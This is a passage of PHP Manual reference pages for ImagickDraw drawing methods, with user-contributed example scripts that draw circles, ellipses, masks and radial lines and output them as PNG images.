$red = new ImagickDraw();
$red->setFillColor("#FF0000");
$red->rectangle(0, 0, 50, 100);

$green = new ImagickDraw();
$green->setFillColor("#00FF00");
$green->rectangle(50, 0, 100, 100);

$layer1->drawImage($red);
$layer1->drawImage($green);

# debug output: two rectangles
# drawImage($layer1);

// define circle mask
$layer2 = new Imagick();
$layer2->newImage(100, 100, "none");

$circle = new ImagickDraw();
$circle->setFillColor("#FFFFFF");
$circle->circle(50, 50, 48, 98);

$layer2->drawImage($circle);

# debug output: the mask
# drawImage($layer2);

// use mask
$layer1->compositeImage($layer2, Imagick::COMPOSITE_DSTIN, 0, 0);

# debug output: the result of our mask usage
# drawImage($layer1);

// define background
$layer3 = new Imagick();
$layer3->newImage(100, 100, "none");

$layer3->compositeImage($layer1, Imagick::COMPOSITE_DEFAULT, 0, 0);

// define ring as background
$layer4 = new Imagick();
$layer4->newImage(100, 100, "white"); // this is our background

$ring1 = new ImagickDraw();
$ring1->setFillColor("black");
$ring1->circle(50, 50, 50, 99);

$layer4->drawImage($ring1);

# debug output: this is a black circle (not our mask, which is similar, but a little bit smaller)
# drawImage($layer4);

// use black circle as background (this creates our circle border)
$layer4->compositeImage($layer3, Imagick::COMPOSITE_DEFAULT, 0, 0);

# debug output: here we go with our circle border
# drawImage($layer4);

// draw separator between red and green rectangle (now semi circles)
$line = new ImagickDraw();
$line->setStrokeWidth(1);
$line->setStrokeColor("black");
$line->line(50, 1, 50, 99);

// add our separator line
$layer4->drawImage($line);

drawImage($layer4);
?>

To understand how the COMPOSITE_* constants effect the image merging process, see here:
http://www.imagemagick.org/Usage/compose/#duff-porter
ImagickDraw::bezier
ImagickDraw::clear
ImagickDraw


Clears the ImagickDraw

ImagickDraw::circle
ImagickDraw::clone
ImagickDraw
PHP Manual

ImagickDraw::clear

(PECL imagick 2.0.0)

ImagickDraw::clear — Clears the ImagickDraw

Description

bool ImagickDraw::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clears the ImagickDraw object of any accumulated commands, and resets the settings it contains to their defaults.

Return Values

Returns an ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::circle
ImagickDraw::clone
ImagickDraw


Makes an exact copy of the specified ImagickDraw object

ImagickDraw::clear
ImagickDraw::color
ImagickDraw
PHP Manual

ImagickDraw::clone

(PECL imagick 2.0.0)

ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object

Description

ImagickDraw ImagickDraw::clone ( void )
Warning

This function is currently not documented; only its argument list is available.

Makes an exact copy of the specified ImagickDraw object.

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::clear
ImagickDraw::color
ImagickDraw


Draws color on image

ImagickDraw::clone
ImagickDraw::comment
ImagickDraw
PHP Manual

ImagickDraw::color

(PECL imagick 2.0.0)

ImagickDraw::color — Draws color on image

Description

bool ImagickDraw::color ( float $x , float $y , int $paintMethod )
Warning

This function is currently not documented; only its argument list is available.

Draws color on image using the current fill color, starting at specified position, and using specified paint method.

Parameters

x

x coordinate of the paint

y

y coordinate of the paint

paintMethod

one of the PAINT_ constants

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::clone
ImagickDraw::comment
ImagickDraw


Adds a comment

ImagickDraw::color
ImagickDraw::composite
ImagickDraw
PHP Manual

ImagickDraw::comment

(PECL imagick 2.0.0)

ImagickDraw::comment — Adds a comment

Description

bool ImagickDraw::comment ( string $comment )
Warning

This function is currently not documented; only its argument list is available.

Adds a comment to a vector output stream.

Parameters

comment

The comment string to add to vector output stream

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::color
ImagickDraw::composite
ImagickDraw


Composites an image onto the current image

ImagickDraw::comment
ImagickDraw::__construct
ImagickDraw
PHP Manual

ImagickDraw::composite

(PECL imagick 2.0.0)

ImagickDraw::composite — Composites an image onto the current image

Description

bool ImagickDraw::composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand )
Warning

This function is currently not documented; only its argument list is available.

Composites an image onto the current image, using the specified composition operator, specified position, and at the specified size.

Parameters

compose

composition operator. One of COMPOSITE_ constants

x

x coordinate of the top left corner

y

y coordinate of the top left corner

width

width of the composition image

height

height of the composition image

compositeWand

the Imagick object where composition image is taken from

Return Values

Returns TRUE on success.

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 01:31
To see some examples how the COMPOSITE_* constants work, see this page:
http://www.imagemagick.org/Usage/compose/#duff-porter
ImagickDraw::comment
ImagickDraw::__construct
ImagickDraw


The ImagickDraw constructor

ImagickDraw::composite
ImagickDraw::destroy
ImagickDraw
PHP Manual

ImagickDraw::__construct

(PECL imagick 2.0.0)

ImagickDraw::__construct — The ImagickDraw constructor

Description

ImagickDraw::__construct ( void )
Warning

This function is currently not documented; only its argument list is available.

The ImagickDraw constructor

Return Values

No value is returned.

User Contributed Notes

Anonymous 31-Mar-2009 02:59
To set up and output an image the very minimum:
<?php
$img = new Imagick();
$img->newImage( 200, 200, new ImagickPixel( 'lime' ) );
$img->setImageFormat( "png" );
header( "Content-Type: image/png" );
echo $img;
?>
Copy, paste; and if imagemagick is enabled it should come up with a lime colored square.
ImagickDraw::composite
ImagickDraw::destroy
ImagickDraw


Frees all associated resources

ImagickDraw::__construct
ImagickDraw::ellipse
ImagickDraw
PHP Manual

ImagickDraw::destroy

(PECL imagick 2.0.0)

ImagickDraw::destroy — Frees all associated resources

Description

bool ImagickDraw::destroy ( void )
Warning

This function is currently not documented; only its argument list is available.

Frees all resources associated with the ImagickDraw object.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::__construct
ImagickDraw::ellipse
ImagickDraw


Draws an ellipse on the image

ImagickDraw::destroy
ImagickDraw::getClipPath
ImagickDraw
PHP Manual

ImagickDraw::ellipse

(PECL imagick 2.0.0)

ImagickDraw::ellipse — Draws an ellipse on the image

Description

bool ImagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
Warning

This function is currently not documented; only its argument list is available.

Draws an ellipse on the image.

Parameters

ox

oy

rx

ry

start

end

Return Values

No value is returned.

User Contributed Notes

Axeia 31-Mar-2009 02:10
<?php
/**
 * Please note that if you use a stroke. ( Imagick::setStrokeWidth( 2 ) ) the
 * stroke is drawn outside the ellipse dimensions.
 *
 * @param float $ox - Offset X, distance from the center of the ellipse till the left border of the image
 * @param float $oy - Offset Y, distance from the center of the ellipse till the top of the image
 * @param float $rx - X radius
 * @param float $ry - Y radius
 * @param float float $start - Starting angle in degrees.
 * @param float float $end - End angle in degrees.
 *
 */
ImagickDraw::ellipse( float $ox  , float $oy  , float $rx  , float $ry  , float $start  , float $end  );
?>

Example of drawing a full ellipse (from 0, 360) and outputting it as a PNG.
Do note, that this is  by default anti-aliased unlike the GD functions which only support it on lines that aren't on a transparent background.
<?php
$width =  200;
$height = 100;
$border = 2;

$img = new Imagick();
$img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

$draw = new ImagickDraw();
$draw->setStrokeColor( new ImagickPixel( 'black' ) );
$draw->setStrokeWidth( 2 );
$draw->setFillColor( new ImagickPixel( 'transparent' ) );
//Substract the border from the radius so it doesn't fall outside the screen.
$draw->ellipse( $width/2, $height/2, ($width/2)-$border, ($height/2)-$border, 0, 360 );
$img->drawImage( $draw );
$img->setImageFormat( "png" );

header( "Content-Type: image/png" );
echo $img;
?>
ImagickDraw::destroy
ImagickDraw::getClipPath
ImagickDraw


Obtains the current clipping path ID

ImagickDraw::ellipse
ImagickDraw::getClipRule
ImagickDraw
PHP Manual

ImagickDraw::getClipPath

(PECL imagick 2.0.0)

ImagickDraw::getClipPath — Obtains the current clipping path ID

Description

string ImagickDraw::getClipPath ( void )
Warning

This function is currently not documented; only its argument list is available.

Obtains the current clipping path ID.

Return Values

Returns a string containing the clip path ID or false if no clip path exists.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::ellipse
ImagickDraw::getClipRule
ImagickDraw


Returns the current polygon fill rule

ImagickDraw::getClipPath
ImagickDraw::getClipUnits
ImagickDraw
PHP Manual

ImagickDraw::getClipRule

(PECL imagick 2.0.0)

ImagickDraw::getClipRule — Returns the current polygon fill rule

Description

int ImagickDraw::getClipRule ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current polygon fill rule to be used by the clipping path.

Return Values

Returns one of the FILLRULE_ constants.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getClipPath
ImagickDraw::getClipUnits
ImagickDraw


Returns the interpretation of clip path units

ImagickDraw::getClipRule
ImagickDraw::getFillColor
ImagickDraw
PHP Manual

ImagickDraw::getClipUnits

(PECL imagick 2.0.0)

ImagickDraw::getClipUnits — Returns the interpretation of clip path units

Description

int ImagickDraw::getClipUnits ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the interpretation of clip path units.

Return Values

Returns an int on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getClipRule
ImagickDraw::getFillColor
ImagickDraw


Returns the fill color

ImagickDraw::getClipUnits
ImagickDraw::getFillOpacity
ImagickDraw
PHP Manual

ImagickDraw::getFillColor

(PECL imagick 2.0.0)

ImagickDraw::getFillColor — Returns the fill color

Description

ImagickPixel ImagickDraw::getFillColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the fill color used for drawing filled objects.

Return Values

Returns an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getClipUnits
ImagickDraw::getFillOpacity
ImagickDraw


Returns the opacity used when drawing

ImagickDraw::getFillColor
ImagickDraw::getFillRule
ImagickDraw
PHP Manual

ImagickDraw::getFillOpacity

(PECL imagick 2.0.0)

ImagickDraw::getFillOpacity — Returns the opacity used when drawing

Description

float ImagickDraw::getFillOpacity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

Return Values

The opacity.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFillColor
ImagickDraw::getFillRule
ImagickDraw


Returns the fill rule

ImagickDraw::getFillOpacity
ImagickDraw::getFont
ImagickDraw
PHP Manual

ImagickDraw::getFillRule

(PECL imagick 2.0.0)

ImagickDraw::getFillRule — Returns the fill rule

Description

int ImagickDraw::getFillRule ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the fill rule used while drawing polygons.

Return Values

Returns a FILLRULE_ constant

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFillOpacity
ImagickDraw::getFont
ImagickDraw


Returns the font

ImagickDraw::getFillRule
ImagickDraw::getFontFamily
ImagickDraw
PHP Manual

ImagickDraw::getFont

(PECL imagick 2.0.0)

ImagickDraw::getFont — Returns the font

Description

string ImagickDraw::getFont ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string specifying the font used when annotating with text.

Return Values

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFillRule
ImagickDraw::getFontFamily
ImagickDraw


Returns the font family

ImagickDraw::getFont
ImagickDraw::getFontSize
ImagickDraw
PHP Manual

ImagickDraw::getFontFamily

(PECL imagick 2.0.0)

ImagickDraw::getFontFamily — Returns the font family

Description

string ImagickDraw::getFontFamily ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font family to use when annotating with text.

Return Values

Returns the font family currently selected or false if font family is not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFont
ImagickDraw::getFontSize
ImagickDraw


Returns the font pointsize

ImagickDraw::getFontFamily
ImagickDraw::getFontStyle
ImagickDraw
PHP Manual

ImagickDraw::getFontSize

(PECL imagick 2.0.0)

ImagickDraw::getFontSize — Returns the font pointsize

Description

float ImagickDraw::getFontSize ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font pointsize used when annotating with text.

Return Values

Returns the font size associated with the current ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFontFamily
ImagickDraw::getFontStyle
ImagickDraw


Returns the font style

ImagickDraw::getFontSize
ImagickDraw::getFontWeight
ImagickDraw
PHP Manual

ImagickDraw::getFontStyle

(PECL imagick 2.0.0)

ImagickDraw::getFontStyle — Returns the font style

Description

int ImagickDraw::getFontStyle ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font style used when annotating with text.

Return Values

Returns the font style constant (STYLE_) associated with the ImagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFontSize
ImagickDraw::getFontWeight
ImagickDraw


Returns the font weight

ImagickDraw::getFontStyle
ImagickDraw::getGravity
ImagickDraw
PHP Manual

ImagickDraw::getFontWeight

(PECL imagick 2.0.0)

ImagickDraw::getFontWeight — Returns the font weight

Description

int ImagickDraw::getFontWeight ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font weight used when annotating with text.

Return Values

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFontStyle
ImagickDraw::getGravity
ImagickDraw


Returns the text placement gravity

ImagickDraw::getFontWeight
ImagickDraw::getStrokeAntialias
ImagickDraw
PHP Manual

ImagickDraw::getGravity

(PECL imagick 2.0.0)

ImagickDraw::getGravity — Returns the text placement gravity

Description

int ImagickDraw::getGravity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the text placement gravity used when annotating with text.

Return Values

Returns a GRAVITY_ constant on success and 0 if no gravity is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getFontWeight
ImagickDraw::getStrokeAntialias
ImagickDraw


Returns the current stroke antialias setting

ImagickDraw::getGravity
ImagickDraw::getStrokeColor
ImagickDraw
PHP Manual

ImagickDraw::getStrokeAntialias

(PECL imagick 2.0.0)

ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting

Description

bool ImagickDraw::getStrokeAntialias ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current stroke antialias setting. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

Return Values

Returns TRUE if antialiasing is on and false if it is off.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getGravity
ImagickDraw::getStrokeColor
ImagickDraw


Returns the color used for stroking object outlines

ImagickDraw::getStrokeAntialias
ImagickDraw::getStrokeDashArray
ImagickDraw
PHP Manual

ImagickDraw::getStrokeColor

(PECL imagick 2.0.0)

ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines

Description

ImagickPixel ImagickDraw::getStrokeColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color used for stroking object outlines.

Parameters

stroke_color

Return Values

Returns an ImagickPixel object which describes the color.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeAntialias
ImagickDraw::getStrokeDashArray
ImagickDraw


Returns an array representing the pattern of dashes and gaps used to stroke paths

ImagickDraw::getStrokeColor
ImagickDraw::getStrokeDashOffset
ImagickDraw
PHP Manual

ImagickDraw::getStrokeDashArray

(PECL imagick 2.0.0)

ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths

Description

array ImagickDraw::getStrokeDashArray ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns an array representing the pattern of dashes and gaps used to stroke paths.

Return Values

Returns an array on success and empty array if not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeColor
ImagickDraw::getStrokeDashOffset
ImagickDraw


Returns the offset into the dash pattern to start the dash

ImagickDraw::getStrokeDashArray
ImagickDraw::getStrokeLineCap
ImagickDraw
PHP Manual

ImagickDraw::getStrokeDashOffset

(PECL imagick 2.0.0)

ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash

Description

float ImagickDraw::getStrokeDashOffset ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the offset into the dash pattern to start the dash.

Return Values

Returns a float representing the offset and 0 if it's not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeDashArray
ImagickDraw::getStrokeLineCap
ImagickDraw


Returns the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::getStrokeDashOffset
ImagickDraw::getStrokeLineJoin
ImagickDraw
PHP Manual

ImagickDraw::getStrokeLineCap

(PECL imagick 2.0.0)

ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked

Description

int ImagickDraw::getStrokeLineCap ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the shape to be used at the end of open subpaths when they are stroked.

Return Values

Returns one of the LINECAP_ constants or 0 if stroke linecap is not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeDashOffset
ImagickDraw::getStrokeLineJoin
ImagickDraw


Returns the shape to be used at the corners of paths when they are stroked

ImagickDraw::getStrokeLineCap
ImagickDraw::getStrokeMiterLimit
ImagickDraw
PHP Manual

ImagickDraw::getStrokeLineJoin

(PECL imagick 2.0.0)

ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked

Description

int ImagickDraw::getStrokeLineJoin ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

Return Values

Returns one of the LINEJOIN_ constants or 0 if stroke line join is not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeLineCap
ImagickDraw::getStrokeMiterLimit
ImagickDraw


Returns the stroke miter limit

ImagickDraw::getStrokeLineJoin
ImagickDraw::getStrokeOpacity
ImagickDraw
PHP Manual

ImagickDraw::getStrokeMiterLimit

(PECL imagick 2.0.0)

ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit

Description

int ImagickDraw::getStrokeMiterLimit ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The 'miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

Return Values

Returns an int describing the miter limit and 0 if no miter limit is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeLineJoin
ImagickDraw::getStrokeOpacity
ImagickDraw


Returns the opacity of stroked object outlines

ImagickDraw::getStrokeMiterLimit
ImagickDraw::getStrokeWidth
ImagickDraw
PHP Manual

ImagickDraw::getStrokeOpacity

(PECL imagick 2.0.0)

ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines

Description

float ImagickDraw::getStrokeOpacity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the opacity of stroked object outlines.

Return Values

Returns a double describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeMiterLimit
ImagickDraw::getStrokeWidth
ImagickDraw


Returns the width of the stroke used to draw object outlines

ImagickDraw::getStrokeOpacity
ImagickDraw::getTextAlignment
ImagickDraw
PHP Manual

ImagickDraw::getStrokeWidth

(PECL imagick 2.0.0)

ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines

Description

float ImagickDraw::getStrokeWidth ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the width of the stroke used to draw object outlines.

Return Values

Returns a double describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getStrokeOpacity
ImagickDraw::getTextAlignment
ImagickDraw


Returns the text alignment

ImagickDraw::getStrokeWidth
ImagickDraw::getTextAntialias
ImagickDraw
PHP Manual

ImagickDraw::getTextAlignment

(PECL imagick 2.0.0)

ImagickDraw::getTextAlignment — Returns the text alignment

Description

int ImagickDraw::getTextAlignment ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the alignment applied when annotating with text.

Return Values

Returns one of the ALIGN_ constants and 0 if no align is set.

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:05
check ImagickDraw::SetTextAlignment notes for examples and constants values

http://php.net/manual/en/function.imagickdraw-settextalignment.php
ImagickDraw::getStrokeWidth
ImagickDraw::getTextAntialias
ImagickDraw


Returns the current text antialias setting

ImagickDraw::getTextAlignment
ImagickDraw::getTextDecoration
ImagickDraw
PHP Manual

ImagickDraw::getTextAntialias

(PECL imagick 2.0.0)

ImagickDraw::getTextAntialias — Returns the current text antialias setting

Description

bool ImagickDraw::getTextAntialias ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current text antialias setting, which determines whether text is antialiased. Text is antialiased by default.

Return Values

Returns TRUE if text is antialiased and false if not.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getTextAlignment
ImagickDraw::getTextDecoration
ImagickDraw


Returns the text decoration

ImagickDraw::getTextAntialias
ImagickDraw::getTextEncoding
ImagickDraw
PHP Manual

ImagickDraw::getTextDecoration

(PECL imagick 2.0.0)

ImagickDraw::getTextDecoration — Returns the text decoration

Description

int ImagickDraw::getTextDecoration ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the decoration applied when annotating with text.

Return Values

Returns one of the DECORATION_ constants and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getTextAntialias
ImagickDraw::getTextEncoding
ImagickDraw


Returns the code set used for text annotations

ImagickDraw::getTextDecoration
ImagickDraw::getTextUnderColor
ImagickDraw
PHP Manual

ImagickDraw::getTextEncoding

(PECL imagick 2.0.0)

ImagickDraw::getTextEncoding — Returns the code set used for text annotations

Description

string ImagickDraw::getTextEncoding ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string which specifies the code set used for text annotations.

Return Values

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getTextDecoration
ImagickDraw::getTextUnderColor
ImagickDraw


Returns the text under color

ImagickDraw::getTextEncoding
ImagickDraw::getVectorGraphics
ImagickDraw
PHP Manual

ImagickDraw::getTextUnderColor

(PECL imagick 2.0.0)

ImagickDraw::getTextUnderColor — Returns the text under color

Description

ImagickPixel ImagickDraw::getTextUnderColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color of a background rectangle to place under text annotations.

Return Values

Returns an ImagickPixel object describing the color.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getTextEncoding
ImagickDraw::getVectorGraphics
ImagickDraw


Returns a string containing vector graphics

ImagickDraw::getTextUnderColor
ImagickDraw::line
ImagickDraw
PHP Manual

ImagickDraw::getVectorGraphics

(PECL imagick 2.0.0)

ImagickDraw::getVectorGraphics — Returns a string containing vector graphics

Description

string ImagickDraw::getVectorGraphics ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string which specifies the vector graphics generated by any graphics calls made since the ImagickDraw object was instantiated.

Return Values

Returns a string containing the vector graphics.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::getTextUnderColor
ImagickDraw::line
ImagickDraw


Draws a line

ImagickDraw::getVectorGraphics
ImagickDraw::matte
ImagickDraw
PHP Manual

ImagickDraw::line

(PECL imagick 2.0.0)

ImagickDraw::line — Draws a line

Description

bool ImagickDraw::line ( float $sx , float $sy , float $ex , float $ey )
Warning

This function is currently not documented; only its argument list is available.

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

Parameters

sx

starting x coordinate

sy

starting y coordinate

ex

ending x coordinate

ey

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

GaryM at BinaryFarm dot com 24-Feb-2010 11:48
<?php

// a twist on the above radar screen.
// This makes random colored spokes from a center point

    $width =  400;
    $height = 400;

    $image = new Imagick();
    $image->newImage( $width, $height, new ImagickPixel( 'wheat' ) );
    $draw = new ImagickDraw();
   //$draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 16;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;

    // We need three HEX numbers to create an RGB color code like '#FF33DD'.

    $draw->setStrokeColor( get_random_color() );
    }
    $image->drawImage( $draw );
    $image->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $image;
    exit;

function get_random_color()        // Thanks to Greg R. for this nice little function.
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>
Axeia 31-Mar-2009 02:53
A small example on how to draw lines and output it as a PNG as the documentation is quite poor at the moment.

This example draws a bunch of lines towards the center of the image, useful if you want to make a spiderweb, or radar-chart.. or something along those lines.
<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'lime' ) );
    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 12;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;
    }
    $img->drawImage( $draw );
    $img->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $img;
?>
ImagickDraw::getVectorGraphics
ImagickDraw::matte
ImagickDraw


Paints on the image's opacity channel

ImagickDraw::line
ImagickDraw::pathClose
ImagickDraw
PHP Manual

ImagickDraw::matte

(PECL imagick 2.0.0)

ImagickDraw::matte — Paints on the image's opacity channel

Description

bool ImagickDraw::matte ( float $x , float $y , int $paintMethod )
Warning

This function is currently not documented; only its argument list is available.

Paints on the image's opacity channel in order to set effected pixels to transparent, to influence the opacity of pixels.

Parameters

x

x coordinate of the matte

y

y coordinate of the matte

paintMethod

PAINT_ constant

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::line
ImagickDraw::pathClose
ImagickDraw


Adds a path element to the current path

ImagickDraw::matte
ImagickDraw::pathCurveToAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathClose

(PECL imagick 2.0.0)

ImagickDraw::pathClose — Adds a path element to the current path

Description

bool ImagickDraw::pathClose ( void )
Warning

This function is currently not documented; only its argument list is available.

Adds a path element to the current path which closes the current subpath by drawing a straight line from the current point to the current subpath's most recent starting point (usually, the most recent moveto point).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::matte
ImagickDraw::pathCurveToAbsolute
ImagickDraw


Draws a cubic Bezier curve

ImagickDraw::pathClose
ImagickDraw::pathCurveToQuadraticBezierAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of the first control point

y1

y coordinate of the first control point

x2

x coordinate of the second control point

y2

y coordinate of the first control point

x

x coordinate of the curve end

y

y coordinate of the curve end

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathClose
ImagickDraw::pathCurveToQuadraticBezierAbsolute
ImagickDraw


Draws a quadratic Bezier curve

ImagickDraw::pathCurveToAbsolute
ImagickDraw::pathCurveToQuadraticBezierRelative
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToQuadraticBezierAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of the control point

y1

y coordinate of the control point

x

x coordinate of the end point

y

y coordinate of the end point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToAbsolute
ImagickDraw::pathCurveToQuadraticBezierRelative
ImagickDraw


Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierAbsolute
ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToQuadraticBezierRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

starting x coordinate

y1

starting y coordinate

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToQuadraticBezierAbsolute
ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
ImagickDraw


Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierRelative
ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

